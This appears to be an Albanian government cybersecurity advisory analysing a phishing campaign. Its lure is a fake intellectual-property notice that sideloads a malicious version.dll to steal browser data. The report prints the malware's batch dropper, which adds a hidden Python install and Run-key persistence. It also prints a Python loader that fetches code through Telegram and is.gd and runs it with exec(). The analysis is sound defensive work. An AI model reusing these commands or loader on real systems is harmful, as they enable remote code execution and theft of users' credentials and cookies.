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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet té vendosura né dispozicion né
momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashés mund té
mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér té mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur
integritetin dhe siguriné e té dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.
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Informacione Teknike

Eshté evidentuar garkullimi i njé fushate Phishing né infrastrukturat e Republikés sé Shqipérisé
ku shpérndahet skedari kegdashés:

Njoftim_pér_shkelje té té drejtave té pronésisé intelektuale AL.zip.

Ky skedar ka si géllim vjedhjen e informacioneve té shfletueséve té internetit né kompjuterat e
viktimave, si edhe ekzekutimin e komandave né distancé, té paautorizuara.

Analiza statike e skedarit

Skedari Njoftim_pér_shkelje té té drejtave té pronésisé intelektuale AL.exe &shté njé
skedar i tipit executable. Nése skedarin do e klikojmé brenda direktorisé sé paracaktuar nga aktori
keqdashés, ajo do vazhdojé té thérrasé njé file dll me emrin version.dll e cila pérséri ndodhet né
kété direktori. Nése tentojmé qé skedarin ta hapim jashté késaj direktorie do evidentohet hapja e
programit legjitim Haihaisoft PDF Reader e cila shérben pér té aksesuar skedarét e tipit pdf.

Njoftim_pé&r_shkelje_t&_té_drejtave_té_pronésisé_intelektuale_AL (T) v [ O M
" Name - Date modified Type Size
_ 5/13/2025 8:11 AM File folder
ug; Njoftim_pér_shkelje_té_té _drejtave_té_pr.. 5/5/2024 521 AM Application 6,217 KB
veruntime 140.d11 9/10/2024 11:20 AM Application extens... 90 KB
version.dl| 11/19/2023 10:21 AM Application extens... 112,805 KB

Figura 1 Path ku skedari exe ekzekuton version.dll

= Haihaisoft PDF Reader

File View GoTo Zoom Favorites Settings Help

MPage: ~'§ @ % E \:')\ 'f"‘ Find: @ Q Match Case

Frequently Read

Open a document

Figura 2 Haihaisoft PDF Reader

Gjaté analizés sé kodit evidentohet se skedari .exe pérmban njé .dIl me emrin version version.dll
e cila ka té njéjtin emér me skedarin gé ndodhet né té njejtén direktori. Ndryshimi éshté gé .dll gé
pérmban veté skedari éshté legjitime. Procesi gé ndodh, funksionon né kété ményré:
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Kur skedari kryesor nis ekzekutimin, tenton té kérkojé pér skedarin me emrin version.dll né
meényré qé té kryejé funksionalitet e saj, por né rastin aktual kemi té b&jmé me DLL Search Order
Hijacking ose proxy DLL sideloading. Aktori keqdashés ka krijuar kété dll keqdashése me géllim
gé té ndryshojé rrjedhén e ekzekutimit té skedarit kryesor, duke ekzekutuar funksionet e version.dll
qé ka krijuar veté dhe jo té veté skedarit legjitim.

File name

C:\Users\flare\Desktop\Njoftim_pér_shkelje_té_té_drejtave_t&_pronésisé_intelektuale_AL (1}\version.dll

File type File size

PE32 110.16 MiB
Scan Endianness Mode Architecture
Automatic LE 32-bit 1386

v PE32

Linker: Microsoft Linker(14.41%*)[DLL32]
Overlay: Binary

Figura 3 Version.dll DLL32

Funksioni i paré gé nis ekzekutimin éshté funksioni Main ose Entry, i cili menjéheré nis
ekzekutimin e funksionit dllmain_dispatch(HINSTANCE_*param_1,ulong param_2, void
*param_)

Ky funksion ka disa instruksione té cilat nuk jané té réndésishme pér analizén, por e réndésishme
éshté thirrja e funksionit: FUN_10001aa0 i cili pérmban 2 parametra.

undefined4 FUN 10001aal (undefined4 param 1,int param 2)

code *pcVarl;

undefined4 uvarZ;

if (param 2 != 1) {
return 1;

}

FUN_10001850();

pcVarl = (code *)swi(3);

uvVar2 = (*pcVarl) ();

return uvVari;

Figura 4 FUN_10001aa0

Adresa: Rruga “Papa Gjon Pali II”” nr.3Tirané;

Fage ueb: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax : 04 2221 039


http://www.aksk.gov.al/
mailto:info@aksk.gov.al

TLP:CLEAR

pcVarl = (code *) swi(3);
swi(3) éshté njé software interrupt, i pérdorur shpesh me géllim pér té:
o Kapur kontrollin me njé SEH (Structured Exception Handler).
e Mashtrim ndaj debugger, duke e béré té mendojé se éshté njé breakpoint.

Para kétij rrjeshti kodi evidentojmé thirrjen e funksionit FUN_10001850

FUN_10001850 éshté njé funksion (loader) gé:
e Manipulon té dhéna duke pérdorur operacione matematikore komplekse
e Ngarkon njé skedar .DLL
o Zbulon adresat e funksioneve nga .DLL e ngarkuar
o Thérret funksione shtesé
e Funksioni fillon duke marré rrugén e direktorisé sé sistemit t¢ Windows (zakonisht
C:\Windows\System32).
e Kjo pérdoret shpesh pér té ndértuar njé rrugé té ploté té DLL-sé gé do té ngarkohet.
o ME pas ka njé seksion té gjaté me operacione matematikore komplekse, qé duket se:
o Maskojné (obfuscate) ose dekriptojné té dhéna.
o K&to pérfshijné:
o Operacione SIMD si pmuldg dhe pmulld (shumézime né regjistra 128-bitésh)
o Manipulim bitésh me operacione XOR
o Loop gé bén XOR byte pas byte me njé vleré té llogaritur
Pérdorimi i operacioneve matematikore komplekse, ngarkimi dinamik i DLL-ve dhe zgjidhja e
adresave té funksioneve né ményré dinamike jané taktika tipike qé pérdoren nga malware pér té
shmangur zbulimin dhe analizén. Ky kod ka shumé gjasa té jeté pjesé e ngarkuesit fillestar (initial
loader) té njé malware ose faza e paré e payload té tij.

[ oxcre oo —wmona—— Sam e
3z
33 | -36:5‘_-}5:Em[:irec:n:-r‘_ﬂsl{l: cal_116,0x104);
34 puvarl0 = (uint *)FUN_1000la20(&local_13);
35 auvarl3 = DAT 100031f£0;
36| if (*(char *) ((int)puvarl0 + Ox=) != "\0") {
37 iVarll = 0;
38 if (1 < DAT_1002a0dc) {
39 ivarll = 8;
40 auVarl5. 0_8_ = sUBle8(_DAT_10003150,0);
41 auVarl5._B8_4_ = SUBl64(_DAT_ 4);
4z auvVarl5._ 12 4 = SUBle4(_DaT_10003150,4);
43 auvVarl4. 8 _8_ = auvarl5._8_8_;
44 auVarl4. 0_4_ = SUBl64(_DAT_ )
45 auvarl4. 4 4 = auvarl4._0_4_;
46 auvarl2. 4 4 = SUBle&4(_DAT_100031%0,8);
47 auVarl2. 0_4_ = SUBl&4(_DAT_10 8);
48 auVarl2. 8 4 = SUBl&4(_DAT_ <)
45 auVarl2. 12 4 = SUBlée4(_DAT ixc)
50 auVarl2 =.:'.'ar;2,_[‘.1_ 100
51 auvVarlé =a_:'.'ar;4_,7['_'—_:‘71: 00321£0);
52 auVarlS. 0_4_ = (auVarlé._4_ 4 >> 4) - (auVarlé._4_4_ >> 0xlf);
23 auvarl9._ 4 4 = (auVarlé€._ 12 4 >> 4) - (auVarlé._12 4 >> Oxl1f);
54 auVarlS. B _4_ = (auVarl2._4 4 >> 4) - (auVarl2._4_4_ >> 0xlf);
a3 auvarl9._ 12 4 = (auVarl2._ 12 4 >> 4) - (auVarlZ._ 12 4 >> 0xlf);

Figura 5 Funksioni FUN_10001850
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Funksioni tjetér kegdashés éshté funksioni FUN_10001240()
Dropper me shumé faza
Faza 1 — Konfigurimi fillestar & Dekriptimi i paré
o Fillimisht merr direktoriné aktuale me GetCurrentDirectoryW.
e Thérret FUN_100017a0 pér té marré té dhéna té fshehura/enkriptuara.
o Ato té dhéna dekriptohen me njé algoritém XOR té personalizuar, ku celési i XOR-it varet
nga pozicioni i bajtéve né memorie.
Faza 2 — Gjenerimi i skedarit té paré
e Me FUN_100011cO0, té dhénat e dekriptuara shkruhen né disk si njé skedar i paré (njé
DLL ose loader tjetér).
e ME pas thérret FUN_100017d0 pér té marré njé tjetér pjesé té enkriptuar.
o Kjo pjesé dekriptohet duke pérdorur operacione matematikore komplekse, si:
o pmuldg, pmulld — shumézime me SIMD
o pshufhw, pshuflw — riorganizim i té dhénave né regjistra
Kéto teknika pérdoren shpesh pér té véshtirésuar analizén statike t€ malware
Faza 3 — Lévizja e skedarit
o Té dhénat e reja té dekriptuara ruhen né njé rrugé tjetér (aWStack 828).
e Me FUN_10001800 merret pjesa tjetér e té dhénave té fshehura.
o Ato dekriptohen né té njéjtén ményré si mé pare.
e Rezultati ruhet né awStack 620.
o MoveFileW pérdoret pér té zhvendosur ose zévendésuar skedarin e paré me skedarin e ri
— tekniké klasike DLL sideloading (ngarkim DLL-je keqdashése né vend té njé DLL
legjitime).
Faza 4 — Ekzekutimi i payload-it final
e Thérret FUN_10001820 pér té marré payload-in final té fshehur.
o Kryen té njéjtén logjiké dekriptimi (XOR + operacione SIMD).
o Rezultati ruhet né awWStack_210.
e Me CreateProcessW ekzekuton payload-in final, i cili &shté njé malware.

Duke paré kompleksitetin e kétij skedari pér té paré se ¢faré ndodh né fazén finale do shikohet né
vijim analiza dinamike e skedarit .
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Analiza dinamike e skedarit

. 7zG.exe (PID: 5344 cmdline: "C:\Program Files\7-Zip\7zG.exe" x -0"C:\Users\user\Desktop\New folder\" -spe -an -ai#7zMap3496:76:7zEvent9178 MD5:
50F289DF0C19484E970849AAC4EGF977)

. D rundli32.exe (PID: 5164 cmdline: C:\Windows\System32\rundl32.exe C:\Windows'System32\shell32.dll,.SHCreateLocalServerRunDIl {92a46009-3ce0-458a-a354-715610a075e6}
-Embedding MD5: EF3179D498793BF4234F708D3BE28633)

. 7zG.exe (PID: 1580 cmdline: "C:\Program Files\7-Zip\7zG.exe" x -0"C:\Users\user\Desktop\New folder\Njoftim_pr_shkelje_t t_drejtave_t pron sis _intelektuale AL (1)\" -spe -
an -ai#7zMap11732:212:7zEvent25568 MD5: 50F289DF0C19484E970849AAC4E6BF977)

. 1:\; Njoftim_p r_shkelje_t _t _drejtave_t _pron sis _intelektuale_AL.exe (PID: 3876 cmdline: "C:\Users\user\Desktop\New folder\Njoftim_p r_shkelje_t _t _drejtave_t _pron sis _intelekt

uale_AL (1)\Njoftim_p r_shkelje_t _t_drejtave_t pron sis _intelektuale_AL.exe" MD5: 4864A55CFF27F686023456A22371E790)
. ﬁ cmd.exe (PID: 5920 cmdline: emd /¢ "C:\Users\user\Desktop\New folder\Njoftim_pr_shkelje t _t drejtave t pron sis _intelektuale AL (1)\_\Evidence.cmd" MD5:

DOFCE3AFABAATD58CESFA336CC2B675B)

. ﬁ conhost.exe (PID: 3772 cmdline: C:\Windows\system32\conhost.exe 0xffifffff -ForceV1 MD5: 86191 D9EOE30631DB3E78E4645804358)

. :n explorer.exe (PID: 5572 cmdline: explorer " Document.pdf” MD5: 208F2F43CEC7B386ED34CFAE47FB166E)

PID: 5556 cmdline: Document.pdf /quiet TargetDir="C:\Users\user\AppData\Local\Programs\Python\Python310-32" InstallAllUsers=0 Include_doc=0
Include_dev=0 Include_tcltk=0 Include_test=0 Include_launcher=0 Include_lib=1 Include_pip=1 Include_symbols=0 Shortcuts=0 AssociateFiles=0 CompileAll=0 MD5:
83A67E1C4F6F1472BF75DD9681491BF1)

« [ Document.pdf (PID: 1276 cmdline: "G:\Users\user\AppData\Local\ Temp\{ECCAF992-9E6D-4B22-B14E-9C40BFIC7BD8}\.cr\Document.pdf” -burn.clean.room="C
A\Users\user\Desktop\New folder\Njoftim_p r_shkelje_t _t _drejtave_t _pron sis _intelektuale_AL (1)\_\Document.pdf" -burn.filehandle.attached=692 -bumn.filehand
le_self=652 /quiet TargetDir="C:\Users\user\AppData\Local\Programs\Python\Python310-32" InstallAllUsers=0 Include_doc=0 Include_dev=0 Include_tcltk=0 Include_te

=0 Include launcher=0 Include_lib=1 Include_pip=1 Include_symbols=0 Shortcuts=0 AssociateFiles=0 CompileAll=0 MD5: 2B4FFFF77718AF2780154ED8FAEODAEB)

PID: 2892 cmdline: C:\Users\user\AppData\Local\Programs\Python\Python310-32\pythonw.exe -m pip install pefile pycryptodome requests websocket-
client pywin32 pyasn1 MD5: 8AD6C16026FF6C01453D5FA392C14CB4)

. n cmd.exe (PID: 3012 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: DOFCE3AFASAA1D58CE9FA336CC2B675B)

. n conhost.exe (PID: 5300 cmdline: C:\Windows\system32\conhost.exe 0xfffififf -ForceV1 MD5: 86191D9E0E30631DB3E78E4645804358)
= ©explorer.exe (PID: 832 cmdline: C:\Windows\explorer.exe Aactory,{75d{2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: 28F9983075D4D5B0C7F52F11EDFE1BBB)
. Acrobat.exe (PID: 2256 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe” "C:\Users\user\Desktop\New folder\Njoftim_p r_shkelje_t _t _drejtave_t _pron sis
_intelektuale_AL (1)\ \Document.pdf" MD5: 0CAF383CD3CC17E05AC018488BIE6690)

. EE AcroCEF.exe (PID: 1904 cmdline: "C:\Program Files\Adobe\Acrobat DC'\Acrobat\acrocef _2\AcroCEF .exe" --backgroundcolor=16777215 MD5:

B8A7CF1DBC405A83014D561A189FA920B)

.

Figura 6 Proceset dhe nén proceset e nisura nga ekzekutimi

Evidentohet njé skedar me emrin Evidence.docx e cila éshté njé .bat file.
Ky éshté njé script né Windows Batch (gjuha: .bat ose .cmd)
Hap njé PDF pér té shpérgendruar pérdoruesin,
o Instalonte Python né ményré té fshehté,
o Instalonte librari python pér komunikim dhe kriptim,
e Ekzekutonte njé skript té maskuar si imazh PNG, por né fakt éshté kod i keqdashém Python

|| Evidence.docx ﬂl
1 Gecho off
2 cd /d "S~dpo*
3 explorer "Document.pdf"
4 Document.pdf /quiet TargetDir="$LOCALAPPDATA%\Programs\Python\Python310-32" InstallAllUsers=0 Include doc=0 Include dev=0 Include tcltk=0 Include test=0 In|
S SLOCALAPPDATA%\Programs\Python\Python310-32\pythonw.exe -m pip install pefile pycryptodome requests websocket-client pywin32 pyasnl
&  copy "images.png" "$LOCALAPPDATA%\Programs\Python\Python310-32\Lib"
7 start "" /min "SLOCALAPPDATA%\Programs\Python\Python310-32\pythonw.exe" $LOCALAPPDATA%\Programs\Python\Python310-32\Lib\images.png "MEXX6toHNBot"
8 reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update Service" /t REG SZ /d "cmd /c start :LOCALAPEDATAZ\Programs\Python\Python3l
(goto) 2>nul & del "~f0" & taskkill /f /im cmd.exe

Proceset e nisura nga ekzekutimi i skedarit, evidentojné nisjen e njé procesi, né njé proces tjetér
gé inicializohet nga procesi kryesor explorer.exe duke startuar Document.pdf, ku pérdoret pér té
ekzekutuar njé komandé gé instalon Python né ményré té fshehté né kompjuter, pérmes
“burn.clean.room” njé tekniké shpesh e pérdorur pér maskim té géllimeve keqdashése.

PDF aksesohet nga njé folder Temp, gé tregon se éshté ngarkuar ose krijuar pérkohésisht,
zakonisht nga njé aplikacion (shpesh malware).

Ky skedar ndodhet né folderin me emrin “_* i cili éshté i tipit hidden sé bashku me njé skedar me
emrin images.png e cila nuk éshté né vetvete njé foto por njé pjesé kodi né python:
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[import requests, re, time, sys

while True:
try:
match = re.search(r'<meta property="og:description” content="([*"]+)"', requests.get(f"https://t.me/|{sys.argv[1]}").text)
if match:
exec (requests.get (requests.head(f'https://is.gd/{match.group(l)}', allow redirects=True).url).text)
break
except Exception as e:
print(e)
time.sleep(5)
continue

Figura 7 images.png

Ky kod merr HTML-né e fages sé Telegram kanalit me emrin gé jepet si parametér:
(sys.argv[1], e)

Kérkon og:description, gé éshté pérshkrimi i fages né metadata (zakonisht pérdoret nga
Facebook/Telegram pér paragitje).
Nése ka pérputhje:
« Kryen HEAD request te https://is.gd/<vlera> pér t¢ marré URL-né reale ku shkon ajo e
shkurtuar.
e Merr pérmbajtjen (GET) e asaj URL-je dhe ekzekuton direkt kodin gé gjendet aty me
exec(...).
Né folderin Temp krijohet njé skedar i tipit .zip me emrin [IP dhe emrin e kompjuterit té
infektuar].
Nése e ekstraktojmé kété skedar, do evidentohen se jané marré nga browseri i chrome,edge etj
informacione si Cookie, username dhe password té ruajtura né autofill. Né Kkété skedar né
pérshkrimin e tij u evidentua dhe kanali i telegramit me username LoneNone e cila ka né bio:
hxxps[://Javscan[.]is/scan/7583b658d5330288052da320edf3e7be

Pra sipas kodit né python, merr komandén nga kjo url dhe e ekzekuton népérmjet funksionit exec
Momentalisht ky domain nuk éshté funksional pasi do na jepte dhe mé shumé informacion se ¢faré

skedari né python ekzekutohet né kompjuterin e infektuar.

UM N

[#'] Lone None 2

@ @LoneNone

Username

https://avscan.is/scan/7583b658d5330288052da32
(D |_0edf3e7be
Bio

July 18 (149 years old)
B baeorsin
[\ Notifications -

Figura 8 Url gé pérmban payloadin
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Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Bllokimin e menjéhershém té Indikatoréve t¢ Komprometimit, té pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event
Management).

Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies s¢ infektimit
prej tyre.

Instalimin e pajisjeve té perimetrit t& rrjetit gé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Sistemet e evidentuara té segmentohen né VLAN-¢ té ndryshme, duke aplikuar “Access
control list pér t€ gjithé perimetrin e rrjetit”, webserviset duhet té jené t€ ndaré nga Databaza e
tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menaxhimin e
fjalékalimeve t& Administratoréve Lokal.

Té aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé té
treta/klienté).

Té implementohen zgjidhje qé kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

T¢ kryhen analiza té trafikut né nivel sjellje “behaviour” pér pajisjet fundore, aplikimi i
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

T€ projektohet zgjidhja pér menaxhimin e aksesit té€ pérdoruesve “Identity Access
Management” pér té€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale sipas
parimit “zero-trust”.
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